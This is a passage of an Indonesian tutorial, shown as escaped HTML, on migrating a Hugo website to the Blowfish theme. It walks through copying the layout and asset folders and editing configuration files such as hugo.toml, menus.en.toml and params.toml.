404.html&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;      &lt;/span&gt;&lt;/span&gt;&lt;span&gt;├── _default&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;      &lt;/span&gt;&lt;/span&gt;&lt;span&gt;├── index.html&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;6&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;      &lt;/span&gt;&lt;/span&gt;&lt;span&gt;├── partials&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;7&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;      &lt;/span&gt;&lt;/span&gt;&lt;span&gt;├── robots.txt&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;8&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;      &lt;/span&gt;&lt;/span&gt;&lt;span&gt;└── shortcodes&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Pastikan juga semua file yang ada di sub-direktori seperti &lt;code&gt;layouts/partials&lt;/code&gt; dan &lt;code&gt;layouts/shortcodes&lt;/code&gt; sudah di-copy dari folder lama ke folder baru yang akan menggantikannya.&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;Ganti &lt;code&gt;/assets&lt;/code&gt;&lt;a href=&quot;#ganti-assets&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Ganti juga direktori &lt;code&gt;assets&lt;/code&gt; di root project dengan direktori &lt;code&gt;assets&lt;/code&gt; dari folder &lt;code&gt;themes/blowfish/assets&lt;/code&gt;, sebab dari sanalah hugo akan membaca file &lt;strong&gt;CSS&lt;/strong&gt; dan &lt;strong&gt;JS&lt;/strong&gt; untuk men-build website kita. Pastikan strukturnya lengkap seperti ini:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;themes/blowfish&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;└── layouts&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;      &lt;/span&gt;&lt;/span&gt;&lt;span&gt;├── css&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;      &lt;/span&gt;&lt;/span&gt;&lt;span&gt;├── icons&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;      &lt;/span&gt;&lt;/span&gt;&lt;span&gt;├── img&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;6&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;      &lt;/span&gt;&lt;/span&gt;&lt;span&gt;├── js&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;7&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;      &lt;/span&gt;&lt;/span&gt;&lt;span&gt;└── libs&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Pastikan juga di setiap sub-direktori, kita sudah meng-&lt;em&gt;copy-paste&lt;/em&gt; aset kita sendiri untuk dipindahkan ke direktori &lt;code&gt;assets&lt;/code&gt; yang baru. Dan perhatikan juga jika kita menambahkan folder baru di direktori &lt;code&gt;assets&lt;/code&gt; yang lama, maka direktori itu juga perlu diikutsertakan dalam migrasi ke direktori &lt;code&gt;assets&lt;/code&gt; yang baru.&lt;/p&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;NOTE&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;Pastikan juga jika sudah meng-update versi hugo yang digunakan untuk men-deploy static site ini, kalian juga perlu meng-update versi-nya di &lt;code&gt;.github/workflow/hugo.yaml&lt;/code&gt; agar Github Pages tetap bisa men-deploy-nya dengan normal.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;&lt;/section&gt;&lt;/section&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;Basic Configuration&lt;a href=&quot;#basic-configuration&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Semua file konfigurasi dapat diubah/disesuaikan di direktori &lt;code&gt;config/_default/&lt;/code&gt;.&lt;/p&gt;&lt;section&gt;&lt;h3&gt;1. &lt;code&gt;hugo.toml&lt;/code&gt;&lt;a href=&quot;#1-hugotoml&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Di file ini, kita perlu menyesuaikan beberapa hal, diantaranya:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;hugo.toml&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;theme&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&quot;blowfish&quot;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;# UNCOMMENT THIS LINE&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;baseURL&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&quot;https://your_domain.com/&quot;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;# Diganti dengan domain website-nya&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;2. &lt;code&gt;languages.en.toml&lt;/code&gt;&lt;a href=&quot;#2-languagesentoml&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Di file ini, kita dapat mengganti beberapa hal berikut:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;languages.en.toml&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;title&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&quot;Blowfish&quot;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;# Yang muncul di pojok kiri atas&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;logo&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&quot;img/logo.png&quot;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;# Menampilkan logo di sebelah title&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;[&lt;/span&gt;&lt;span&gt;params&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;author&lt;/span&gt;&lt;span&gt;] &lt;/span&gt;&lt;span&gt;# Untuk menambahkan informasi tentang author&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;name&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&quot;Wildan&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;6&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;email&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&quot;emailkalian@server.com&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;7&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;image&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&quot;author.png&quot;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;# gambar / foto author&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;8&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;imageQuality&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;96&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;9&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;headline&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&quot;An Ordinary Human Being&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;10&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;bio&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&quot;An Ordinary Human Being&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;11&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;links&lt;/span&gt;&lt;span&gt; = [&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;12&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;{ &lt;/span&gt;&lt;span&gt;discord&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&quot;https://discord.gg/invitecode&quot;&lt;/span&gt;&lt;span&gt; }, &lt;/span&gt;&lt;span&gt;# Menambahkan media sosial&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;13&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;{ &lt;/span&gt;&lt;span&gt;github&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&quot;https://github.com/username&quot;&lt;/span&gt;&lt;span&gt; },&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;14&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;3. &lt;code&gt;menus.en.toml&lt;/code&gt;&lt;a href=&quot;#3-menusentoml&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Konfigurasi menu yang akan muncul di sebelah kanan atas website:&lt;/p&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;menus.en.toml&lt;/span&gt;&lt;span&gt;Show more&lt;/span&gt;&lt;span&gt;Show less&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;[[&lt;/span&gt;&lt;span&gt;main&lt;/span&gt;&lt;span&gt;]]&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;name&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&quot;Blog&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;pageRef&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&quot;posts&quot;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;# Case-sensitive, merujuk pada direktori-direktori di bawah `content/`&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;weight&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;10&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;# Mengatur urutan menu dari kiri ke kanan&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;6&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;[[&lt;/span&gt;&lt;span&gt;main&lt;/span&gt;&lt;span&gt;]]&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;7&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;pre&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&quot;article&quot;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;# Menambahkan icon di samping menu (logo diambil dari `assets/icons`)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;8&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;name&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&quot;Tech&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;9&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;pageRef&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&quot;tech&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;10&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;weight&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;20&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;11&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;12&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;[[&lt;/span&gt;&lt;span&gt;main&lt;/span&gt;&lt;span&gt;]] &lt;/span&gt;&lt;span&gt;# Menambahkan menu dengan icon service tertentu (Github)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;13&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;identifier&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&quot;github&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;14&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;pre&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&quot;github&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;15&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;url&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&quot;https://github.com/namagithubnya&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;16&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;weight&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;35&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;span&gt;Show more&lt;/span&gt;&lt;span&gt;Show less&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;4. &lt;code&gt;params.toml&lt;/code&gt;&lt;a href=&quot;#4-paramstoml&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Ada banyak parameter yang dapat kita ganti di file ini:&lt;/p&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;params.toml&lt;/span&gt;&lt;span&gt;Show more&lt;/span&gt;&lt;span&gt;Show less&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# Silakan di-comment (#) bagian yang tidak ingin diaktifkan&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;colorScheme&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&quot;blowfish&quot;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;# Ada 14 colorscheme yang disediakan&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;defaultAppearance&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&quot;light&quot;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;# valid options: light or dark&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;6&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;enableSearch&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;true&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;# Mengaktifkan fitur &quot;search&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;7&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;8&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;defaultBackgroundImage&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&quot;IMAGE.jpg&quot;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;# used as default for background images&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;9&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;10&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;highlightCurrentMenuArea&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;true&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;# Meng-highlight menu saat ini&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;11&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;smartTOC&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;true&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;# Meng-highlight daftar isi yang sedang dibaca saat ini&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;12&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;smartTOCHideUnfocusedChildren&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;true&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;# Menyembunyikan daftar isi yang sedang tidak dibaca&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;13&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;14&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;[&lt;/span&gt;&lt;span&gt;header&lt;/span&gt;&lt;span&gt;] &lt;/span&gt;&lt;span&gt;# Pengaturan header&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;15&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;layout&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&quot;basic&quot;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;# valid options: basic, fixed, fixed-fill, fixed-gradient, fixed-fill-blur&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;16&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;17&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;[&lt;/span&gt;&lt;span&gt;footer&lt;/span&gt;&lt;span&gt;] &lt;/span&gt;&lt;span&gt;# Pengaturan footer, tipe data: boolean (true/false)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;18&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;showMenu&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;true&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;19&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;showCopyright&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;true&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;20&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;showThemeAttribution&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;true&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;21&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;showAppearanceSwitcher&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;true&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;22&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;showScrollToTop&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;true&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;23&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;24&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;[&lt;/span&gt;&lt;span&gt;homepage&lt;/span&gt;&lt;span&gt;] &lt;/span&gt;&lt;span&gt;# Pengaturan homepage&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;25&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;layout&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&quot;profile&quot;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;# valid options: page, profile, hero, card, background, custom&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;26&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;#homepageImage = &quot;IMAGE.jpg&quot; # used in: hero, and card&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;27&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;showRecent&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;false&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;28&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;showRecentItems&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;5&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;29&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;showMoreLink&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;false&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;30&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;showMoreLinkDest&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&quot;/posts/&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;31&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  